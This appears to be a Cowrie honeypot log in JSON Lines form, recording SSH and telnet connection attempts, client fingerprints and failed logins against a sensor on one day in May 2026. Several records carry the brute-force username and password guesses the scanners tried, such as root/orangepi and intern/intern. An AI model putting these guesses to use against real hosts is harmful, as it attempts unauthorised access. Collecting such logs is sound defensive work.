{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:50.301798Z","src_ip":"103.27.238.116","session":"c6b183d774ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:50.569354Z","src_ip":"103.27.238.116","session":"c6b183d774ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"legion","message":"login attempt [root/legion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:51.371757Z","src_ip":"103.27.238.116","session":"c6b183d774ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":48494,"dst_ip":"159.203.135.109","dst_port":22,"session":"bebf5a30cda7","protocol":"ssh","message":"New connection: 103.27.238.114:48494 (159.203.135.109:22) [session: bebf5a30cda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:52.378087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:52.383237Z","src_ip":"103.27.238.114","session":"bebf5a30cda7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:52.635036Z","src_ip":"103.27.238.114","session":"bebf5a30cda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:52.646292Z","src_ip":"103.27.238.116","session":"c6b183d774ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ivanova","message":"login attempt [root/ivanova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:53.391329Z","src_ip":"103.27.238.114","session":"bebf5a30cda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:54:54.646205Z","src_ip":"103.27.238.114","session":"bebf5a30cda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":42592,"dst_ip":"10.17.0.5","dst_port":22,"session":"b36f28cd5378","protocol":"ssh","message":"New connection: 103.75.183.219:42592 (10.17.0.5:22) [session: b36f28cd5378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:07.503310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:07.512941Z","src_ip":"103.75.183.219","session":"b36f28cd5378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:07.765296Z","src_ip":"103.75.183.219","session":"b36f28cd5378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"223344","message":"login attempt [root/223344] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:08.523285Z","src_ip":"103.75.183.219","session":"b36f28cd5378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":45694,"dst_ip":"10.17.0.5","dst_port":22,"session":"6854bded4faf","protocol":"ssh","message":"New connection: 43.135.177.217:45694 (10.17.0.5:22) [session: 6854bded4faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:08.528732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:08.533950Z","src_ip":"43.135.177.217","session":"6854bded4faf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:08.603455Z","src_ip":"43.135.177.217","session":"6854bded4faf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blahblah","message":"login attempt [root/blahblah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:08.908105Z","src_ip":"43.135.177.217","session":"6854bded4faf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:09.775786Z","src_ip":"103.75.183.219","session":"b36f28cd5378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:09.979135Z","src_ip":"43.135.177.217","session":"6854bded4faf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":33024,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c9dba70831e","protocol":"ssh","message":"New connection: 43.173.84.253:33024 (159.203.135.109:22) [session: 5c9dba70831e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:15.395131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:15.401264Z","src_ip":"43.173.84.253","session":"5c9dba70831e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:15.471260Z","src_ip":"43.173.84.253","session":"5c9dba70831e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intern","password":"intern","message":"login attempt [intern/intern] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:15.775826Z","src_ip":"43.173.84.253","session":"5c9dba70831e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:16.849403Z","src_ip":"43.173.84.253","session":"5c9dba70831e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42056,"dst_ip":"10.17.0.5","dst_port":23,"session":"a567fd810f9c","protocol":"telnet","message":"New connection: 152.42.224.71:42056 (10.17.0.5:23) [session: a567fd810f9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:26.586704Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33682,"dst_ip":"10.17.0.5","dst_port":22,"session":"6aeb0da13686","protocol":"ssh","message":"New connection: 103.15.222.183:33682 (10.17.0.5:22) [session: 6aeb0da13686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:28.998736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:29.005189Z","src_ip":"103.15.222.183","session":"6aeb0da13686","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:29.247650Z","src_ip":"103.15.222.183","session":"6aeb0da13686","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfcnth","message":"login attempt [root/vfcnth] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:29.976893Z","src_ip":"103.15.222.183","session":"6aeb0da13686","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:31.226812Z","src_ip":"103.15.222.183","session":"6aeb0da13686","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":40978,"dst_ip":"10.17.0.5","dst_port":22,"session":"81e0e7bbcc93","protocol":"ssh","message":"New connection: 45.137.172.116:40978 (10.17.0.5:22) [session: 81e0e7bbcc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:34.371097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:34.375652Z","src_ip":"45.137.172.116","session":"81e0e7bbcc93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:34.472559Z","src_ip":"45.137.172.116","session":"81e0e7bbcc93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"orangepi","message":"login attempt [root/orangepi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:34.888122Z","src_ip":"45.137.172.116","session":"81e0e7bbcc93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:35.988743Z","src_ip":"45.137.172.116","session":"81e0e7bbcc93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43056,"dst_ip":"10.17.0.5","dst_port":23,"session":"16d75087a1de","protocol":"telnet","message":"New connection: 152.42.224.71:43056 (10.17.0.5:23) [session: 16d75087a1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:37.043045Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43062,"dst_ip":"10.17.0.5","dst_port":23,"session":"f45223b1ee00","protocol":"telnet","message":"New connection: 152.42.224.71:43062 (10.17.0.5:23) [session: f45223b1ee00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:38.303333Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"b55f120fabd3","protocol":"ssh","message":"New connection: 43.153.70.247:55518 (10.17.0.5:22) [session: b55f120fabd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:50.127278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:50.131997Z","src_ip":"43.153.70.247","session":"b55f120fabd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:50.201046Z","src_ip":"43.153.70.247","session":"b55f120fabd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"draden","message":"login attempt [root/draden] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:50.509315Z","src_ip":"43.153.70.247","session":"b55f120fabd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:51.581505Z","src_ip":"43.153.70.247","session":"b55f120fabd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":47334,"dst_ip":"159.203.135.109","dst_port":22,"session":"de62f6296abf","protocol":"ssh","message":"New connection: 103.183.114.55:47334 (159.203.135.109:22) [session: de62f6296abf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:53.070110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:55:53.075137Z","src_ip":"103.183.114.55","session":"de62f6296abf","protocol":"ssh"}
